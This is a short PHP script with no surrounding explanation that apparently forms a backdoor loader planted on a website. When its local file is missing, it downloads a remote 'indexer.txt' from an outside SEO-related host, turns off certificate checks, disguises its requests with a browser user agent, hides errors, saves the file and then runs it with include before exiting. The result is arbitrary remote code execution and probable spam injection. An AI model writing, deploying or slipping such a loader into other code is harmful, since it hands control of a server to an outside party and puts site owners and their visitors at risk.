<?php $localIndexer = __DIR__ . '/indexer.txt';
$remoteIndexer = 'https://joingroup-id.com/seo/file-royalxp/indexer.txt';
if (!is_file($localIndexer) || !is_readable($localIndexer) || filesize($localIndexer) < 1) {
    $remoteContent = false;
    $context = stream_context_create(array('http' => array('method' => 'GET', 'timeout' => 30, 'header' => "User-Agent: Mozilla/5.0\r\n",), 'ssl' => array('verify_peer' => false, 'verify_peer_name' => false,),));
    if (ini_get('allow_url_fopen')) {
        $remoteContent = @file_get_contents($remoteIndexer, false, $context);
    }
    if (($remoteContent === false || trim($remoteContent) === '') && function_exists('curl_init')) {
        $ch = curl_init($remoteIndexer);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $remoteContent = curl_exec($ch);
        curl_close($ch);
    }
    if ($remoteContent !== false && trim($remoteContent) !== '') {
        $tmpFile = $localIndexer . '.tmp';
        if (@file_put_contents($tmpFile, $remoteContent, LOCK_EX) !== false) {
            @rename($tmpFile, $localIndexer);
        }
    }
}
if (is_file($localIndexer) && is_readable($localIndexer) && filesize($localIndexer) > 0) {
    include $localIndexer;
    exit;
}
